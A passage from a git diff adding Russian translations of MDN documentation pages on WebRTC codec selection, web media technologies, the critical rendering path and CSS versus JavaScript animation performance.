+<p>И наконец, вызываем метод {{domxref("RTCRtpTransceiver.setCodecPreferences", "setCodecPreferences()")}} объекта  {{domxref("RTCRtpTransceiver")}} для определения того, что использование кодеков обеих сторон разрешено, в указанном порядке.</p>
+
+<p>Это выполняется для каждого объекта приемо-передатчика объекта соединения  <code>RTCPeerConnection</code>; как только все приемо-передатчики обновили списки предпочитаемых кодеков, вызывается обработчик события  {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , который создает новый объект предложения, обновляет объект локального описания сессии, отправляет предложение удаленному узлу, и так далее, запуская согласование соединения .</p>
+
+<p>Функция <code>preferCodec()</code> вызываемая приведенным выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):</p>
+
+<pre class="brush: js notranslate">function preferCodec(codecs, mimeType) {
+  let otherCodecs = [];
+  let sortedCodecs = [];
+  let count = codecs.length;
+
+  codecs.forEach(codec =&gt; {
+    if (codec.mimeType === mimeType) {
+      sortedCodecs.push(codec);
+    } else {
+      otherCodecs.push(codec);
+    }
+  });
+
+  return sortedCodecs.concat(otherCodecs);
+}</pre>
+
+<p>Этот код просто разбивает список кодеков на два массива: один, содержащий кодеки, чей  MIME тип совпадает с тем, который указан в параметре <code>mimeType</code> , другой же содержит остальные кодеки. Как только список разделен, они объединяются вместе с записями, соответствующими заданному <code>mimeType</code> следующими вначале, за которыми следуют остальные записи кодеков. Затем этот список возвращается вызывающему коду.</p>
+
+<h2 id="Кодеки_по_умолчанию">Кодеки по умолчанию</h2>
+
+<p>Если не определенно иное, кодеки по умолчанию (предпочтительные кодеки), запрашиваемые браузерными реализациями  WebRTC, перечислены ниже</p>
+
+<table class="standard-table">
+ <caption>
+ <p>Предпочтительные для  WebRTC кодеки основных вебрбаузеров</p>
+ </caption>
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Chrome</th>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Edge</th>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Firefox</th>
+   <td></td>
+   <td>VP9 (Firefox 46 and later)<br>
+    VP8</td>
+  </tr>
+  <tr>
+   <th scope="row">Opera</th>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Safari</th>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Правильный_выбор_кодеков">Правильный выбор кодеков</h2>
+
+<p>Перед выбором кодека, который не является обязательным (VP8 или AVC для видео и  Opus или PCM для аудио), следует серьезно рассмотреть потенциальные недостатки: в особенности, если предпологается, что эти кодеки не широко доступны на всех устройствах, поддерживающих WebRTC.</p>
+
+<p>Если вы предпочитаете кодек, отличный от обязательных, вы должны по крайней мере разрешить откат к одному из обязательных кодеков, если поддержка для кодека, который вы предпочитаете, окажется недоступна.</p>
+
+<h3 id="Аудио">Аудио</h3>
+
+<p>В целом, если кодек доступен и звук, который вы хотите отправить, имеет частоту дискретизации более 8 кГц, вам следует настоятельно рекомендовать использовать Opus в качестве основного кодека. Для голосовых соединений в стесненной среде использование G.711 с частотой дискретизации 8 кГц может обеспечить приемлемое качество для разговора, но обычно вы будете использовать G.711 в качестве запасного варианта, поскольку есть другие более эффективные варианты, чей звук лутше, такие как Опус в своем узкополосном режиме .</p>
+
+<h3 id="Видео">Видео</h3>
+
+<p>При выборе поддерживаемого видеокодека (или набора кодеков) необходимо учитывать ряд факторов</p>
+
+<h4 id="Условия_лицензирования">Условия лицензирования</h4>
+
+<p>Прежде чем выбрать видеокодек, убедитесь, что вы знаете о любых лицензионных требованиях к выбранному вами кодеку; можете найти информацию о возможных проблемах лицензирования в нашем основном <a href="/en-US/docs/Web/Media/Formats/Video_codecs">руководстве по видеокодекам, используемым в  web</a>. Из двух обязательных кодеков для видео - VP8 и AVC / H.264 - только VP8 полностью свободен от лицензионных требований. Если выбираете AVC, убедитесь, что вы знаете о любых возможных сборах, которые вам, возможно, придется заплатить; владельцы патентов обычно говорят, что большинству типичных разработчиков веб-сайтов не нужно беспокоиться об оплате лицензионных сборов, которые, как правило, больше ориентированы на разработчиков программного обеспечения для кодирования и декодирования.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Внимание :</strong>  Информация здесь не является юридической консультацией! Обязательно убедитесь в возможности ответственности, прежде чем принимать какие-либо окончательные решения, если существует вероятность возникновения проблем с лицензированием.</p>
+</div>
+
+<h4 id="Энергопотребление_и_срок_службы_батареи">Энергопотребление и срок службы батареи</h4>
+
+<p>Еще один фактор, который следует учитывать, особенно на мобильных платформах, - это влияние кодека на время автономной работы. Если кодек обрабатывается аппаратно на данной платформе, он, вероятно, позволит значительно увеличить срок службы батареи и уменьшить выработку тепла.</p>
+
+<p>Например, Safari для iOS и iPadOS представила WebRTC с AVC в качестве единственного поддерживаемого видеокодека. Преимущество AVC на iOS и iPadOS заключается в возможности кодирования и декодирования на аппаратном уровне.Safari 12.1 представил поддержку VP8 в IRC, что улучшает взаимодействие, но за дополнительную плату - VP8 не имеет аппаратной поддержки на устройствах iOS, поэтому его использование приводит к увеличению нагрузки на процессор и сокращению срока службы батареи.</p>
+
+<h4 id="Призводительность">Призводительность</h4>
+
+<p>К счастью, VP8 и AVC работают одинаково с точки зрения конечного пользователя и одинаково адекватны для использования в видеоконференцсвязи и других решениях WebRTC. Окончательное решение остается за разработчиком. Какой бы вариант вы ни выбрали, обязательно прочитайте информацию, представленную в этой статье, о любых конкретных проблемах конфигурации, с которыми вам, возможно, придется столкнуться для этого кодека.</p>
+
+<p>Имейте в виду, что выбор кодека, которого нет в списке обязательных кодеков, может привести к риску выбора кодека, который не поддерживается браузером, который предпочитают ваши пользователи. Прочтите <a href="/en-US/docs/Web/Media/Formats/Support_issues">Решение проблем медиаподдержки в веб контенте</a> , чтобы узнать больше о том, как предлагать поддержку предпочитаемых кодеков, но при этом использовать браузеры, которые не поддерживают этот кодек.</p>
+
+<h2 id="Последствия_для_безопасности">Последствия для безопасности</h2>
+
+<p>При выборе и настройке кодеков возникают интересные потенциальные проблемы безопасности. Видео WebRTC защищено с помощью Datagram Transport Layer Security ({{Glossary("DTLS")}}), но для мотивированной стороны теоретически возможно вывести величину изменения, которое происходит от кадра к кадру при использовании кодеков с переменной скоростью передачи (VBR), путем мониторинга скорости потока  и ее изменения во времени.Это может потенциально позволить злоумышленнику сделать вывод о содержании потока, учитывая приливы и отливы скорости передачи.</p>
+
+<p>Подробнее о безопасности при использовании AVC в WebRTC см.  {{RFC(6184, "RTP Payload Format for H.264 Video: Security Considerations", 9)}}.</p>
+
+<h2 id="Смотри_так_же">Смотри так же :</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">Введение в протоколы WebRTC</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC соединение </a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Video_codecs">Руководство по видеокодекам, использующимся в web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Руководство по аудиокодекам, использующимся в web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Video_concepts">Концепции цифрового видео</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Audio_concepts">Концепции цифрового аудио</a></li>
+</ul>
diff --git a/files/ru/web/media/index.html b/files/ru/web/media/index.html
new file mode 100644
index 0000000000..dc97746582
--- /dev/null
+++ b/files/ru/web/media/index.html
@@ -0,0 +1,89 @@
+---
+title: Web media technologies
+slug: Web/Media
+tags:
+  - Audio
+  - Landing
+  - Media
+  - NeedsTranslation
+  - TopicStub
+  - Video
+  - Web
+translation_of: Web/Media
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</div>
+
+<p><span class="seoSummary">Over the years, the Web's ability to present, create, and manage audio, video, and other media has grown at an increasing pace. Today, there are a large number of APIs available, as well as HTML elements, DOM interfaces, and other features that make it possible to not only perform these tasks, but use media in tandem with other technologies to do truly remarkable things. This article lists the various APIs with links to documentation you may find helpful in mastering them.</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>These articles cover HTML features for media developers.</p>
+
+<dl>
+ <dt>{{HTMLElement("audio")}}</dt>
+ <dd>The <code>&lt;audio&gt;</code> element is used to play audio in a Web context. These can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files. Accessible from JavaScript as {{domxref("HTMLAudioElement")}} objects.</dd>
+ <dt>{{HTMLElement("video")}}</dt>
+ <dd>The <code>&lt;video&gt;</code> element is an endpoint for video content in a Web context. It can be used to simply present video files, or as a destination for streamed video content. <code>&lt;video&gt;</code> can also be used as a way to link media APIs with other HTML and DOM technologies, including {{HTMLElement("canvas")}} (for frame grabbing and manipulation), for example. Accessible from JavaScript as {{domxref("HTMLVideoElement")}} objects.</dd>
+ <dt>{{HTMLElement("track")}}</dt>
+ <dd>The HTML <code>&lt;track&gt;</code> element can be placed within an {{HTMLElement("audio")}} or {{HTMLElement("video")}} element to provide a reference to a <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> format subtitle or caption track to be used when playing the media. Accessible from JavaScript as {{domxref("HTMLTrackElement")}} objects.</dd>
+ <dt>{{HTMLElement("source")}}</dt>
+ <dd>The HTML <code>&lt;source&gt;</code> element is used within an {{HTMLElement("audio")}} or {{HTMLElement("video")}} element to specify source media to present. Multiple sources can be used to provide the media in different formats, sizes, or resolutions. Accessible from JavaScript as {{domxref("HTMLSourceElement")}} objects.</dd>
+</dl>
+
+<h3 id="APIs">APIs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Capabilities_API">Media Capabilities API</a></dt>
+ <dd>The Media Capabilities API lets you determine the encoding and decoding capabilities of the device your app or site is running on. This lets you make real-time decisions about what formats to use and when.</dd>
+ <dt><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></dt>
+ <dd>A reference for the API which makes it possible to stream, record, and manipulate media both locally and across a network. This includes using local cameras and microphones to capture video, audio, and still images.</dd>
+ <dt><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></dt>
+ <dd>The MediaStream Recording API lets you capture media streams to process or filter the data or record it to disk.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></dt>
+ <dd>The Web Audio API lets you generate, filter, and manipulate sound data both in real-time and on pre-recorded material, then send that audio to a destination such as an <code>&lt;audio&gt;</code> element, a media stream, or to disk.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>WebRTC (Web Real-Time Communication) makes it possible to stream live audio and video, as well as transfer arbitrary data, between two peers over the Internet, without requiring an intermediary.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Overview">Overview of media technology on the web</a></dt>
+ <dd>A general look at the open Web technologies and APIs that provide support for audio and video playback, manipulation, and recording. If you're not sure which API you should use, this is the place to start.</dd>
+ <dt><a href="/en-US/docs/Web/Media/HTML_media">Using audio and video in HTML</a></dt>
+ <dd>A guide to using the HTML <code>&lt;audio&gt;</code> and <code>&lt;video&gt;</code> elements.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Accessibility">Accessibility guide for media in web design</a></dt>
+ <dd>In this guide, we cover ways web designers and developers can create content that is accessible to people with different capabilities. This ranges from simply using the {{htmlattrxref("alt", "img")}} attribute on {{HTMLElement("img")}} elements to captions to tagging media for screen readers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></dt>
+ <dd>A guide to the file types and codecs available for images, audio, and video media on the web. This includes recommendations for what formats to use for what kinds of content, best practices including how to provide fallbacks and how to prioritize media types, and also includes general browser support information for each media container and codec.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Streaming">Streaming audio and video</a></dt>
+ <dd>A guide which covers how to stream audio and video, as well as techniques and technologies you can take advantage of to ensure the best possible quality and/or performance of your streams.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Autoplay_guide">Autoplay guide for media and Web Audio APIs</a></dt>
+ <dd>Unexpected automatic playback of media or audio can be an unwelcome surprise to users. While autoplay serves a purpose, it should be used carefully. To give users control over this, many browsers now provide forms of autoplay blocking. This article is a guide to autoplay, with tips on when and how to use it and how to work with browsers to handle autoplay blocking gracefully.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<p>Related topics which may be of interest, since they can be used in tandem with media APIs in interesting ways.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API">The Canvas API</a></dt>
+ <dd>The Canvas API lets you draw into an {{HTMLElement("canvas")}}, manipulating and changing the contents of an image. This can be used with media in many ways, including by setting a <code>&lt;canvas&gt;</code> element as the destination for video playback or camera capture so that you can capture and manipulate video frames.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>WebGL provides an OpenGL ES compatible API on top of the existing Canvas API, making it possible to do powerful 3D graphics on the Web. Through a canvas, this can be used to add 3D imagery to media content.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebVR_API">WebVR</a></dt>
+ <dd>The Web Virtual Reality API supports virtual reality (VR) devices such as the Oculus Rift or the HTC Vive, making it possible for developers to translate position and movement of the user into movement within a 3D scene which is then presented on the device. WebVR is expected to be gradually replaced with WebXR, which covers a wider range of use cases.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_API">WebXR</a></dt>
+ <dd>WebXR, which is meant to eventually replace WebVR, is a technology that provides support for creating virtual reality (VR) and augmented reality (AR) content. The mixed reality content can then be displayed on the device's screen or using goggles or a headset.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ru/web/performance/critical_rendering_path/index.html b/files/ru/web/performance/critical_rendering_path/index.html
new file mode 100644
index 0000000000..ae8a15756d
--- /dev/null
+++ b/files/ru/web/performance/critical_rendering_path/index.html
@@ -0,0 +1,66 @@
+---
+title: Критические этапы рендеринга
+slug: Web/Performance/Critical_rendering_path
+tags:
+  - Performance
+translation_of: Web/Performance/Critical_rendering_path
+---
+<p><span class="seoSummary">Критические этапы рендеринга (Critical Rendering Path) - это последовательность шагов, которые выполняет браузер, когда преобразуется HTML, CSS и JavaScript в пиксели, которые вы видите на экране. Оптимизация этих шагов улучшает производительность рендера. Эти этапы включают в себя работу с <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model </a>(DOM), <a href="/en-US/docs/Web/API/CSS_Object_Model">CSS Object Model </a>(CSSOM), деревом рендера (render tree) и компоновкой объектов (layout)</span></p>
+
+<p>Объектная модель документа DOM создается в тот момент, когда браузер парсит HTML. Этот HTML может запрашивать JavaScript, который может модифицировать DOM. HTML может запросить стили, которые участвуют в создании СSS Object Model. Движок браузера комбинирует эти две объектные модели, чтобы создать дерево рендера (render tree). Компоновка (layout) определяет размеры и позицию каждого элемента на странице. Как только компоновка определена - пиксели отрисовываются на экране.</p>
+
+<p>Оптимизация критичеческих этапов рендеринга улучшает время до первого рендера. Понимание и оптимизация этих этапов чрезвычайно важны для того, чтобы рендерить приложение с нужной частотой кадров (60 кадров в секунду, fps) и предоставить пользователю удобный, плавный интерфейс.</p>
+
+<h2 id="Понимание_этапов_CRP">Понимание этапов (CRP)</h2>
+
+<p>Производительность Web-приложений включает в себя запросы к серверу, получение ответов, загрузку, парсинг и выполнение скриптов, рендеринг, компоновку и отрисовку пикселей. </p>
+
+<p>Загрузка веб-страницы или приложения начинается с запроса HTML. Сервер возвращает HTML заголовке (headers) и некоторые данные. Браузер начинает парсить полученный ответ HTML, преобразуя полученные байты в DOM-дерево. Браузер создает новый запрос каждый раз, когда он находит ссылки на внешние ресурсы, будь то файлы стилей, скриптов или ссылки на изображения. Некоторые запросы являются блокирующими. Это означает, что пока такие запросы выполняются - другие запросы приостанавливается. Браузер продолжает парсить HTML и создавать DOM до тех пор, пока запрос на получение HTML не подходит к концу. После завершения парсинга DOM, браузер конструирует CSS модель. Как только эти модели сформированы, браузер строит дерево рендера (render tree), в котором вычисляет стили для каждого видимого элемента страницы. После формирования дерева происходит компоновка (layout), которая определяет положение и размеры элементов этого дерева. Как только этап завершён - страница рендерится. Или "отрисовывается" (paint) на экране.</p>
+
+<h3 id="Document_Object_Model">Document Object Model</h3>
+
+<p>Построение DOM инкрементально. Ответ в виде HTML превращается в токены, которые превращаются в узлы (nodes), которые формируют DOM дерево. Простейший узел начинается с startTag-токена и заканчивается токеном endTag. Узлы содержат всю необходимую информацию об HTML элементе, соответствующем этому узлу. Узлы (nodes) связаны с Render Tree с помощью иерархии токенов: если какой-то набор startTag и endTag-токенов появляется между уже существующим набором токенов, мы получаем узел (node) внутри узла (node), то есть получаем иерархию дерева DOM.</p>
+
+<p>Чем больше количество узлов (node) имеет приложение, тем дольше происходит формирование DOM tree, а значит дольше происходит обработка критических этапов рендеринга. Измеряйте! Несколько лишних узлов (node) не сделают погоды, но <a href="https://en.wiktionary.org/wiki/divitis">divitis</a> обязательно приведет к подвисаниям.</p>
+
+<h3 id="CSS_Object_Model">CSS Object Model</h3>
+
+<p>DOM несет в себе всё содержимое страницы. CSSOM содержит все стили страницы, то есть данные о том, как стилизовать DOM. CSSOM похож на DOM, но всё же отличается. Если формирование DOM инкрементально, CSSOM - нет. CSS блокирует рендер: браузер блокирует рендеринг страницы до тех пор, пока не получит и не обработает все CSS-правила. CSS блокирует рендеринг, потому что правила могут быть перезаписаны, а значит, необходимо дождаться построения CSSOM, чтобы убедиться в отсутствии дополнительных переопределений.</p>
+
+<p>У CSS имеются свои правила валидации токенов. Помните, что C в CSS означает "Cascade". CSS правила ниспадают каскадом. Иными словами, когда парсер преобразует токены в узлы (nodes), вложенные узлы наследуют стили от родительских. Инкрементальная обработка недоступна для CSS, потому что набор следующих правил может перезаписать предыдущие. Объектная модель CSS (CSSOM) строится по мере парсинга CSS, но она не может быть использована для построения дерева рендера (render tree), потому что может оказаться так, что следующий набор правил может сделать какой-либо из узлов дерева невидимым на экране. Это может привести к лишнему вызову компоновки и перерасчета стилей.</p>
+
+<p>Говоря о производительности селекторов (selector), наименее специфичные селекторы срабатывают быстрее. Например, <code>.foo {}</code> сработает быстрее <code>.bar .foo {}</code>. В первом случае, условно, понадобится одна операция, чтобы найти элемент <code>.foo</code>, во втором случае, сначала будут найдены все <code>.foo</code>, а<strong> </strong>потом<strong> браузер пройдет вверх</strong> по дереву в поисках родительского элемента <code>.bar</code>. Более специфичные селекторы требуют от браузера большего количества работы, но эти проблемы, вероятно, не стоят их оптимизации.</p>
+
+<p>Если вы измерите время, требуемое на парсинг CSS, вы будете удивлены тем, как быстро работают браузеры. Более специфичные правила более затратны, потому что требуют обхода большего числа узлов в DOM дереве, но эта дороговизна обходится довольно дёшево, особенно в сравнении с другими узкими местами производительности. <u>Сначала измеряйте. Потом оптимизируйте, если это действительно необходимо.</u> Вероятно, специфичность селекторов не то, что действительно затормаживает ваше приложение. Когда дело доходит до оптимизации CSS, улучшение производительность селекторов ускоряет рендеринг лишь на микросекунды. Существуют другие <a href="/en-US/docs/Learn/Performance/CSS_performance">пути оптимизации CSS</a>, такие как минификация, разделение CSS-файлов на разные файлы на освове media-queries.</p>
+
+<h3 id="Дерево_рендера_Render_Tree">Дерево рендера (Render Tree)</h3>
+
+<p>Дерево рендера охватывает сразу и содержимое страницы, и стили: это место, где DOM и CSSOM деревья комбинируются в одно дерево. Для построения дерева рендера браузер проверяет каждый узел (node) DOM, начиная от корневого (root) и определяет, какие CSS правила нужно присоединить к этому узлу. </p>
+
+<p>Дерево рендера охватывает только видимое содержимое. Например, секция head (в основном) не содержит никакой видимой информации, а потому может не включаться в дерево. Кроме того, если у какого-то узла стоит свойство <code>display: none</code>,  оно так же не включается в дерево (как и потомки этого узла).</p>
+
+<h3 id="Компоновка_Layout">Компоновка (Layout)</h3>
+
+<p>В тот момент, когда дерево рендера (render tree) построено, становится возможным этап компоновки (layout). Компоновка зависит от размеров экрана. Этот этап определяет, где и как на странице будут спозиционированы элементы и каковы связи между элементами.</p>
+
+<p>Что насчет ширины элемента? Блочные элемент по определению имеют ширину в 100% от ширины их родителя. Элемент с шириной в 50% будет иметь ширину в два раза меньше родительской. Если не указано иного, элемент body имеет ширину 100%, то есть 100% ширины родителя - видимой области viewport (окна документа).</p>
+
+<p>Мета тэг viewport, который вы можете указать в Head страницы, определяет ширину видимой области и влияет на компоновку. Без этого тэга браузеры используют ширину "по умолчанию", которая обычно составляет 960px. В браузерах, открывающихся по умолчанию в полноэкранном режиме, например, в браузере телефона, установка тега <code>&lt;meta name="viewport" content="width=device-width"&gt;</code> установит ширину видимой области в 100% от ширины экрана устройства, вместо того, чтобы использовать ширину по умолчанию. Эта ширина (<code>device-width)</code> изменяется каждый раз, когда пользователь поворачивает телефон. Это приводит к запуску этапа компоновки. Равно как и при изменении размеров окна в обычном браузере.</p>
+
+<p>На производительность компоновки (layout) непосредственно влияет DOM - чем больше узлов (nodes) в вашем документе, тем больше времени понадобится на перерасчет позиций и размеров всех элементов. Компоновка может стать узким местом, ведущим к зависаниям, особенно если выполняет одновременно со скроллом или другой анимацией. И хотя задержка 20мс при загрузке или переориентации экрана может быть приемлемой, это все равно может привести к подвисаниям при анимации и скролле. Каждый раз, когда дерево рендера (render tree) модифицируется, например, из-за добавления узла (node), его модификации или при изменении стилей box-модели, запускается компоновка.</p>
+
+<p>Для уменьшения частоты и продолжительности этого этапа, группируйте обновления экрана и избегайте анимации свойств, связанных с box-моделью элементов.</p>
+
+<h3 id="Отрисовка_Paint">Отрисовка (Paint)</h3>
+
+<p>Последний этап в нашем списке - отрисовка (paint) пикселей на экране. Когда дерево рендера (render tree) создано, компоновка (layout) произошла, пиксели могут быть отрисованы. При первичной загрузке документа (onload) весь экран будет отрисован. После этого только необходимые к обновлению части экрана будут перерисовываться, так как браузер старается оптимизировать процесс отрисовки, избегая ненужной работы. Так, если у вас в документе есть два элемента, перерисовываться будет только тот, который вы изменили. Время отрисовки зависит от того, какой тип обновления применился к дереву рендера (render tree). И хотя отрисовка - это очень быстрый процесс, и он, вероятно, слабо влияет на производительность, очень важно помнить, что оба этапа - компоновка (layout) и отрисовка (paint) должны работать сообща и укладываться в частоту обновления кадров. Каждое CSS-свойство, применяемое к любому узлу (node) увеличивает время отрисовки, но полное удаление стиля, способное сэкономить вам 0.001мс, вряд ли даст вам желаемый результат, но зато с легкостью ухудшит пользовательский опыт. <strong>Помните - сначала нужно измерять, а потом оптимизировать только необходимое!</strong></p>
+
+<h2 id="Оптимизация_CRP">Оптимизация CRP</h2>
+
+<p>Улучшайте загрузку страницы с помощью приоритезации ресурсов, с помощью контролирования порядка, в котором они грузятся и с помощью уменьшения размеров файлов. Главные подсказки здесь:</p>
+
+<ol>
+ <li>Уменьшайте количество критических ресурсов, откладывая их загрузку, помечая их как async и/или группируя их;</li>
+ <li>Оптимизируйте количество необходимых запросов, а так же размеры файлов;</li>
+ <li>Оптимизируйте порядок так, чтобы критические ресурсы загружались в первую очередь, сокращая таким образом длину критических этапов рендеринга.</li>
+</ol>
diff --git a/files/ru/web/performance/css_javascript_animation_performance/index.html b/files/ru/web/performance/css_javascript_animation_performance/index.html
new file mode 100644
index 0000000000..264fc1ea9b
--- /dev/null
+++ b/files/ru/web/performance/css_javascript_animation_performance/index.html
@@ -0,0 +1,80 @@
+---
+title: Производительность CSS и JavaScript анимации
+slug: Web/Performance/CSS_JavaScript_animation_performance
+tags:
+  - CSS
+  - FPS
+  - Transitions
+  - requestAnimationFrame
+  - Анимация
+  - Производительность
+translation_of: Web/Performance/CSS_JavaScript_animation_performance
+---
+<p class="summary">Анимация является критичным инструментов для улучшения пользовательнского опыта во многих приложениях. Существует много путей создания анимации в web, например, основанные на CSS-свойствах {{cssxref("transition","transitions")}}/{{cssxref("animation","animations")}} или на JavaScript  (using {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}}). В этой статье мы проанализируем производительность CSS и JavaScript анимаций и сравним их.</p>
+
+<h2 id="CSS_transition_и_animation">CSS transition и animation</h2>
+
+<p>Оба этих свойства могут использоваться для создания анимации. Каждое из них имеет своё специфичное назначение:</p>
+
+<ul>
+ <li>CSS {{cssxref("transition","transitions")}} предоставляет простой способ создать анимацию, которая происходит при переходе от текущего состояния к конечному, например, переход от обычной кнопки к кнопке в состоянии hover.  Даже если элемент в середине перехода от одного стиля к другому, новый эффект transition стартует немедленно, вместо того, чтобы дожидаться, пока запущенный ранее эффект завершится. Подробнее здесь:  <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">Использование CSS transitions</a>.</li>
+ <li>CSS {{cssxref("animation","animations")}}, с другой стороны, позволяет разработчикам создавать анимацию, основанную на ключевых кадрах (keyframes), которые указывают этапы, которые должна пройти анимация от начального до финального состояния. CSS animation состоит из двух компонент: описание свойства, которое указывает на анимацию, а так же набор ключевых кадров, которые указывают начальное, финальное и промежуточные состояния элемента. Подробнее здесь: <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Using_CSS_animations">Использование CSS animations</a>.</li>
+</ul>
+
+<p>Если говорить о производительности - между этими двумя подходами нет разницы. Оба подхода основаны на одном и том же механизме, которые описаны далее.</p>
+
+<h2 id="requestAnimationFrame">requestAnimationFrame</h2>
+
+<p>API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} предоставляет эффективный способ создания анимаций в JavaScript. Функция (callback), которую вы передаете в этот метод, будет вызываться перед каждой следующей отрисовкой нового фрейма. Главное отличие от {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} в том, что здесь вам не нужно указывать время, через которое функция запустится. <code>requestAnimationFrame()</code> работает гораздо эффективнее, учитывая частоту кадров и производительность системы. Разработчики могут создавать  анимацию, просто изменяя стили элемента каждый раз, когда происходит подготовка нового кадра (или когда обновляется полотно Canvas или в других случаях).</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Подобно CSS transition и animation, <code>requestAnimationFrame()</code> приостанавливает работу, когда текущий таб переводится в фоновый режим (например, при смене фокуса)</p>
+</div>
+
+<p>Для подробностей ознакомьтесь с <a href="https://hacks.mozilla.org/2011/08/animating-with-javascript-from-setinterval-to-requestanimationframe/">анимирование с JavaScript: от setinterval до requestAnimationFrame</a>.</p>
+
+<h2 id="Сравнение_производительности_transitions_и_requestAnimationFrame">Сравнение производительности:<br>
+ transitions и requestAnimationFrame</h2>
+
+<p>По факту, в большинстве случаев, производительность анимаций CSS практически идентична анимациям на JavaScript. По крайней мере в Firefox. Авторы некоторых JavaScript библиотек для анимации, например GSAP или Velocity.JS, даже берутся утверждать, что их решения могут работать быстрее, чем аналогичные решения на CSS. Такое возможно, потому что CSS transitions/animations просто заново вычисляют стили элементов в основном потоке процессора сразу перед тем, как срабатывает событие repaint, что примерно то же самое, что вычислять стили заново с помощью <code>requestAnimationFrame()</code>. Если обе анимации выполняются в одном потоке, то разницы в производительности не будет.</p>
+
+<p>В следующей секции мы пройдемся по тестам производительности, используя Firefox, чтобы увидеть, какие методы анимации работают эффективнее.</p>
+
+<h3 id="Включение_измерения_частоты_кадров_FPS">Включение измерения частоты кадров FPS</h3>
+
+<p>Для начала нам нужно включить инструменты измерения частоты кадров (FPS Tools), чтобы иметь возможность видеть текущую частоту кадров</p>
+
+<ol>
+ <li>В поле ввода URL наберите <em>about:config</em>; Нажмите на кнопку <em>I’ll be careful, I promise!, чтобы войти на страницу конфигурации</em>.<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/11137/Pic1.png" style="height: 349px; width: 600px;"><br>
+   </li>
+ <li>В поле поиска введите <code>layers.acceleration.draw-fps</code>.</li>
+ <li>Нажмите два раза на ячейку, чтобы присвоить значение <code>true</code>. Теперь вы видите три розовых блока в верхнем левом углу окна. Первый блок указывает FPS.<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/11139/Pic2.png" style="height: 215px; width: 562px;"></li>
+</ol>
+
+<h3 id="Запуск_теста">Запуск теста</h3>
+
+<p>Для начала, в нашем тесте мы будем анимаировать 1000 элементов {{htmlelement("div")}}  с помощью CSS.</p>
+
+<p><span style="line-height: 16.7999992370605px;">{{JSFiddleEmbed("https://jsfiddle.net/zt94oew2/1/","","480")}}</span></p>
+
+<p>Нажав на кнопку, вы можете переключить метод анимации на  <code>requestAnimationFrame()</code>.</p>
+
+<p>Попробуйте запустить оба метода и сравнить FPS. Скорее всего, вы увидите, что частота кадров отличается - анимации с CSS заметно быстрее. В следующей главе мы разберём - почему.</p>
+
+<h3 id="Анимация_вне_основного_потока_процесса">Анимация вне основного потока процесса</h3>
+
+<p>Браузерный JavaScript является строго однопоточным языком, то есть он не может одновременно работать над двумя задачами. В этом кроется проблема анимации с помощью JavaScript. Выполняя такую анимацию, вы занимаете процессор, который мог бы в это время заниматься другими функциями. В противоположность этому, CSS анимации могут быть выделены в отдельный поток, то есть при выполнении таких анимаций браузер не блокирует выполнение других процессов. </p>
+
